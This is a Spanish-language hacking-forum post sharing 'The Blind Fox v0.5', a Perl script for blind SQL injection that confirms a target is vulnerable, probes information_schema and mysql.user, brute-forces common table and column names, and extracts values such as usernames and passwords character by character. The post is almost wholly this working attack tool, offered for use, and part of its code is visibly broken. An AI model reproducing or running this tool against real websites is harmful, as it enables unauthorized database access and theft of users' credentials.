comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

The Blind Fox V0.5

  • 0 Respuestas
  • 1934 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado DeuSer

  • *
  • Underc0der
  • Mensajes: 65
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Marzo 25, 2010, 07:45:08 pm »
El amigo Login-Root creo una nueva herramienta desarrollada en perl para SQL pero en este caso para Blind SQL, la cual sirve para:

1- Chekeo AND 1=1 y AND 1=0 (verificacion de vuln.)
2- Information_Schema && MySQL.User
3- Tablas
4- Columnas
5- Extrae valores de las tablas (Opcional)

Código: Perl
  1. #!/usr/bin/perl
  2.  
  3. ####################################################################
  4. #                           -[+]- The Blind Fox v0.5 | By Login-Root -[+]-              ###
  5. ####################################################################
  6.  
  7. ####################################################################
  8. # [+] inf0:                                                                             ###
  9. ####################################################################
  10. # Busca:                                                                                ###
  11. # ======                                                                                ###
  12. #  - Checkeo AND 1=1 && AND 1=0                                                         ###      
  13. #  - Information_Schema && MySQL.User                                                   ###
  14. #  - Tablas                                                                             ###                                              
  15. #  - Columnas                                                                           ###
  16. #  - Extrae valores de las tablas (Opcional)                                            ###
  17. #                                                                                       ###
  18. #  ...y guarda todo en un archivo de texto.                                             ###
  19. #                                                                                       ###
  20. ###########################################################################################
  21.  
  22. ###########################################################################################
  23. # [+] Use:                                                                              ###
  24. ###########################################################################################
  25. # perl blindfox.pl [WEBSITE] [PATRON] [FILE] [-EXT]                                     ###
  26. #   [WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido)            ###
  27. #   [PATRON]:  Patron que exista con AND 1=1 y que no exista con AND 1=0                ###
  28. #   [FILE]:    Archivo donde guardar informe                                            ###
  29. #   [-EXT]:    Para extraer nombres de usuarios, passwords, etc (Opcional)              ###
  30. ###########################################################################################
  31.  
  32. ###########################################################################################
  33. # [+] c0ntact:                                                                          ###
  34. ###########################################################################################
  35. # MSN:    no.more@passport.com                                                          ###
  36. # Jabber: login-root@x23.eu                                                             ###
  37. # E-Mail: login_root@yahoo.com.ar                                                       ###
  38. ###########################################################################################
  39.  
  40. ###########################################################################################
  41. # [+] sh0utz:                                                                           ###
  42. ###########################################################################################
  43. # In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion                 ###
  44. # Many thanks to boER, who teach me a little of perl ;D                                 ###
  45. # VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                    ###
  46. ###########################################################################################
  47.  
  48. use LWP::Simple;
  49.  
  50. if(!$ARGV[2])
  51.     {
  52.          print "
  53. -[+]- The Blind Fox v0.5 | By Login-Root -[+]-
  54. ==============================================";
  55.          print "
  56. Uso: perl $0 [WEBSITE] [PATRON] [FILE] [-EXT]
  57. ";
  58.          print "
  59. [WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido)
  60. [PATRON]:  Patron que exista con AND 1=1 y que no exista con AND 1=0
  61. [FILE]:    Archivo donde guardar informe
  62. [-EXT]:    Para extraer nombres de usuarios, passwords, etc (Opcional)
  63. ";
  64.          exit (0);
  65.     }
  66.    
  67. sub end()
  68. {
  69.     print WEB "
  70.  
  71. [*EOF*]";
  72.     print "
  73. [+] Todo salvado correctamente en $ARGV[2]
  74. ";
  75.     print "## c0ded by Login-Root | 2008 ##
  76. ";
  77.     exit (0);
  78. }  
  79.  
  80.    
  81. @nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  82.       'name','names','nombre','nombres','member','members','admin_table',
  83.       'miembro','miembros','membername','admins','administrator','sign',
  84.       'administrators','passwd','password','passwords','pass','Pass',
  85.       'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names',
  86.       'member_password','mods','mod','moderators','moderator','user_email',
  87.       'user_emails','user_mail','user_mails','mail','emails','email','address',
  88.       'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
  89.       'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  90.       'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
  91.       'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  92.       'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin',
  93.       'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors',
  94.       'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
  95.       'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup',
  96.       'associated','accnt','customers','customer','membres','administrateur','utilisateur',
  97.       'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users',
  98.       'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
  99.       'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  100.  
  101. @nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  102.           'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  103.           'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login',
  104.           'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  105.           'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  106.           'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
  107.  
  108. if ( $ARGV[0]   !~   /^http:/ )
  109.   {
  110.       $ARGV[0] = "http://" . $ARGV[0];
  111.   }
  112.  
  113. open(WEB,">>".$ARGV[2]) || die "
  114. [-] Imposible crear el archivo de texto
  115. ";
  116. print WEB "[WEBSITE]:
  117. $ARGV[0]
  118. ";
  119. [!] Chequeando por el patron...
  120. ";
  121.       $sql=$ARGV[0]." AND 1=1";
  122.       $response=get($sql);
  123.       if($response =~ /$ARGV[1]/)
  124.         {
  125.             print "
  126. [+] Patron encontrado con AND 1=1
  127. ";
  128.             print WEB "$sql => OK !
  129. ";
  130.             $sql=$ARGV[0]." AND 1=0";
  131.             $response=get($sql);
  132.             if($response =~ /$ARGV[1]/)
  133.             {
  134.                 print "[-] Patron encontrado tambien con AND 1=0, posiblemente no vulnerable a Blind SQL Inyection, probar con otro patron
  135. ";
  136.                 exit (0);
  137.             }
  138.             else
  139.             {
  140.                 print "[+] Patron no encontrado con AND 1=0, website vulnerable a Blind SQL Inyection
  141. ";
  142.                 print WEB "$sql => OK !
  143. ";
  144.             }
  145.          }
  146.          else
  147.                  {
  148.                      print "[-] Patron no encontrado, probar con otro
  149. ";
  150.                      exit (0);
  151.                  }
  152.         print "
  153. [!] Chequeando si existe Information_Schema...";
  154.         $sql=$ARGV[0]." AND (SELECT Count(*) FROM information_schema.tables)";
  155.         $response=get($sql);
  156.          if($response =~ /$ARGV[1]/)
  157.              {
  158.                  print "
  159. [+] Information_Schema disponible...guardando en $ARGV[2]";
  160.                 print WEB "
  161. [INFORMATION_SCHEMA]:
  162. $sql
  163. ";
  164.                
  165.              }
  166.          else
  167.              {
  168.                 print "
  169. [-] Information_Schema no disponible";
  170.              }
  171.         print "
  172. [!] Chequeando si existe MySQL.User...";
  173.         $sql=$ARGV[0]." AND (SELECT Count(*) FROM mysql.user)";
  174.         $response=get($sql);
  175.          if($response =~ /$ARGV[1]/)
  176.              {
  177.                  print "
  178. [+] MySQL.User disponible...guardando en $ARGV[2]";
  179.                 print WEB "
  180. [MYSQL.USER]:
  181. $sql
  182. ";
  183.                
  184.              }
  185.          else
  186.              {
  187.                 print "
  188. [-] MySQL.User no disponible";
  189.              }
  190.         print "
  191. [!] Bruteando tablas...";
  192.         print WEB "
  193. [TABLAS]:
  194. ";
  195.         foreach $tabla(@nombretabla)
  196.          {
  197.                   chomp($tabla);
  198.                   $sql=$ARGV[0]." AND (SELECT Count(*) FROM ".$tabla.")";
  199.                   $response=get($sql);
  200.                   if($response =~ /$ARGV[1]/)
  201.                     {
  202.                         print "
  203. [+] La tabla $tabla esta disponible...guardando en $ARGV[2]";
  204.                         print WEB "$sql
  205. ";
  206.                     }
  207.                 }
  208.         print "
  209. [!] Tabla a la cual brutear columnas: ";
  210.             $tabla.=<STDIN>;
  211.             chomp($tabla);
  212.             print WEB "
  213. [COLUMNAS EN $tabla]:
  214. ";
  215.             foreach $columna(@nombrecolumna)
  216.             {
  217.              chomp($columna);
  218.              $sql=$ARGV[0]." AND (SELECT Count(".$columna.") FROM ".$tabla.")";
  219.              $response=get($sql);
  220.              if ($response =~ /$ARGV[1]/)
  221.                   {
  222.                       print "[+] La columna $columna esta disponible...guardando en $ARGV[2]
  223. ";
  224.                       print WEB "$sql
  225. ";
  226.                   }
  227.             }
  228.          if ($ARGV[3] =~ /-EXT/)
  229.          {
  230.              extrac:
  231.              $columna = '';
  232.              print "
  233. [!] Columna de la tabla $tabla a la cual extraer campos: ";
  234.              $columna.=<STDIN>;
  235.             chomp($columna);
  236.              print "[!] Extrayendo valores de la tabla $tabla y columna $columna (puede demorar mucho tiempo)...
  237. ";
  238.              print WEB "
  239. [Valores de la tabla $tabla y columna $columna]:
  240. ";
  241.              $search = 1;
  242.              $posicion = 1;
  243.              $limit = 0;
  244.              $comprob = 1;
  245.              while ($search <= 255)
  246.              {
  247.                  $sql=$ARGV[0]." AND ascii(substring((SELECT " .$columna. " FROM " .$tabla." limit " .$limit.",1),".$posicion.",1)) = " .$search;
  248.                  $response=get($sql);
  249.                  if ($response =~ /$ARGV[1]/)
  250.                   {
  251.                         $char = chr($search);
  252.                         print WEB "$char";
  253.                         print "$char";
  254.                       $search = 0;
  255.                       $posicion++;
  256.                       $comprob++;
  257.                   }
  258.                  if ($search == 255)
  259.                  {
  260.                      print "
  261. ";
  262.                      print WEB "
  263. ";
  264.                      if ($comprob == 1)
  265.                      {
  266.                          $eleccion = '';
  267.                          print "[+] Busqueda finalizada. Desea extraer valores de otra columna? [Y/N]: ";
  268.                          $eleccion.=<STDIN>;
  269.                          chomp($eleccion);
  270.                          if ($eleccion =~ /Y/)
  271.                          {
  272.                              goto extrac;
  273.                          }
  274.                          else
  275.                          {
  276.                             end();
  277.                          }
  278.                      }
  279.                      $comprob = 1;
  280.                      $search = 0;
  281.                     $limit++;
  282.                  }
  283.                  $search++;
  284.             }
  285.            }
  286. end();
« Última modificación: Agosto 16, 2014, 10:30:29 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Blind SQLi desde cero [SQLi a ciegas] by ANTRAX

Iniciado por ANTRAX

Respuestas: 20
Vistas: 10027
Último mensaje Julio 27, 2014, 01:04:47 am
por DRAKONE
[Curso] SQL Injection desde 0 - Union based y Blind Boolean Based.

Iniciado por M5f3r0

Respuestas: 8
Vistas: 9125
Último mensaje Abril 21, 2017, 04:36:34 am
por M5f3r0
Tecnicas de Blind Mysql Injection (Bit Shifting && Find_in_set())

Iniciado por q3rv0

Respuestas: 3
Vistas: 2322
Último mensaje Agosto 30, 2012, 12:50:52 am
por andrewtwo
Blind Mysqli Time Based [Teoria]

Iniciado por q3rv0

Respuestas: 3
Vistas: 2213
Último mensaje Diciembre 22, 2012, 02:05:23 am
por Abnormality
Busqueda Binaria Aplicada a las Blind SQL Injection by OzX

Iniciado por dracko.rx

Respuestas: 0
Vistas: 2421
Último mensaje Febrero 24, 2010, 02:38:44 pm
por dracko.rx